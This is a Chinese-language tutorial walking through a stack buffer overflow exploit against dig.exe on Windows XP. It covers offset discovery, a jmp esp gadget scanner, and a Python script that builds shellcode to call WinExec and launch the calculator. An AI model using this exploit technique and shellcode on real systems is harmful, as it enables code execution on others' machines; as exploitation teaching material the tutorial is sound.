- winXP SP3 环境 (xp环境默认没开启栈不可执行机制,比较方便破解,如果已开启了,请自行百度如何关闭)
- dig.exe 目标文件
- x86dbg调试工具
- python 环境
打开准备好的目标软件 dig.exe
映入眼帘的有两个输入框,可以直接从键盘获取输入
第一个输入框应该是输入域名的,TCP lookup按钮查询此域名的各种信息
猜想,这个输入框1 中输入的文本可能保存在栈区中的临时变量里,毕竟域名都不太长
- 直接在输入框里输入1100个 'A' 然后点击 TCP lookup 看看有什么现象
- 哈哈,软件崩溃退出了!!
使用x86dbg 加载运行 dig.exe ,再输入1100个有序字符
CH=65 ch=97 num_1=48 buf='' n_C=0 n_c=0 n_1=0 for i in range(1100//3): if n_1>9: n_c+=1 n_1=0 if n_c > 25: n_C+=1 n_c=0 buf += chr(CH+n_C)+chr(ch+n_c)+chr(num_1+n_1) n_1+=1 print(buf)把生成的字符串复制到输入框1 中,看看崩溃点在哪
这个eip是什么?肯定是我们输入的字符串的ASCII码
int main() { char str[10] = { 0 }; scanf_s("%x", (int)str);//输入eip的值 puts(str); }哦,原来是'h2Bh'啊
在python 生成的字符串中找到'h2Bh'的位置
buf.find('h2Bh')997,输入997个字符后字符串将覆盖eip
- 测试,运行计算器(当然你也可以是运行其他)
- 找到自己电脑中 WinExeC 函数的地址(方法自行百度)如果嫌麻烦,你可以自己写一个带有winexec函数的测试程序,用od看winexec函数的地址
找到程序中 jmp esp 或 call esp的指令
可以使用OllyUni.dll 这个OD插件寻找,不过寻找过程太慢,在我的测试中竟然运行了足足5分钟......这种时长不能忍!!!!
#include <windows.h> #include <stdio.h> #define DLL_NAME L"shell32.dll" int main() { HINSTANCE handle = LoadLibrary(DLL_NAME); if (!handle) { printf(" load dll erro !"); exit(0); } int address; BYTE* ptr = (BYTE*)handle; FILE *fp = fopen("shell32.txt", "w+"); fprintf(fp, "shell32.dll\t语句\t\t地址\t\t偏移\t\t基地址\n"); for (int position = 0; position < 12*1024*1024; position++) { if (ptr[position] == 0xFF) { if (ptr[position + 1] == 0xE4) { int address = (int)ptr + position; fprintf(fp, "shell32.dll <jmp esp>\t%#x\t%#-8x\t%#x\n", address, position, ptr); } else if (ptr[position + 1] == 0xD4) //jmp esp { int address = (int)ptr + position; fprintf(fp, "shell32.dll <call esp>\t%#x\t%#-8x\t%#x\n", address, position, ptr); } else{} } } fclose(fp); return 0; }自己写个程序找shell32.dll中的指令
在eip后写程序,并且让他执行
# -*- coding: UTF-8 -*- #我的电脑中 7C86250D kernel32.WinExec import struct junk = "A" * 997 #偏移 eip = '\x73\x15\xbf\x7d' #shell32.dll <call esp> 0x7dbf1573 nops = "\x90" * 10 #10字节NOP fill = "\x43" * 10 #无用指令,测试时主要用于让自己看清shellcode结束了 #shellcode 要执行的代码 shellcode = "\x31\xC9" # xor ecx,ecx shellcode += "\x51" # push ecx shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163 shellcode += "\x54" # push dword ptr esp shellcode += "\xBB\x0D\x25\x86\x7C" # mov ebx,7C86250D shellcode += "\xFF\xD3" # call ebx #payload payload = junk + eip + nops + shellcode+fill #将payload写入到文件payload.txt fp = open("payload.txt","w") fp.write(payload) fp.close() print "[+]Exploit successfully!"
- 把生成的文件内容复制到 输入框1 中,是不是程序退出了,但计算器成功运行了?
- 或许这一步你成功了,但我还没有,为什么呢????因为系统原因,winexec函数的地址在我们的电脑中的位置是不一样的
#我的电脑中 7C86250D kernel32.WinExec看没看到这个 7C86250D 中的 0D ?这是不会被输入到输入框的,输入框里并不是什么字符都可以被输入的,怎么办呢?这可是我电脑中winexec的地址啊!!!!
请注意 技术性的时刻即将到来了...
- 在x86dbg中直接输入 call 7C86250D 你会发现,咦?这机器码怎么与我输入的不一样呢?
- 因为人家使用的是相对 winexec 函数的地址
那么把自己的shellcode中也改成这样的地址不就好了!!
#shellcode 要执行的代码 shellcode = "\x31\xC9" # xor ecx,ecx shellcode += "\x51" # push ecx shellcode += "\x68\x63\x61\x6C\x63" # push 0x636c6163 shellcode += "\x54" # push dword ptr esp shellcode += "\xe8\xd8\x25\xb1\x7b" #call winexec 这里啊,相对地址 ''' shellcode += "\xBB\x0D\x25\x86\x7C" # mov ebx,7C86250D shellcode += "\xFF\xD3" # call ebx '''OMG,成功了!!
你可能会遇到的问题
- 你可能自己找 jmp esp 时的地址无法写入到 eip 中,要么是少了两位,要么是多了两们,不要气馁,你找到的地址不止一个 而是好几百个,可能这个地址中刚好有输入框中不可输入的字符,换个地址试试,如果不行,就再换
- 或许你在一开始就遇到的问题,复制的与字符串大部分都与 shellcode中的不一样,别着急,你试试把生成的字符串文件用 notpad++ 打开,或者 UltarEdit 会更好一些
- 遇到百度无法解决的问题,你还有最后两种强大的依靠,就是你的智慧与坚持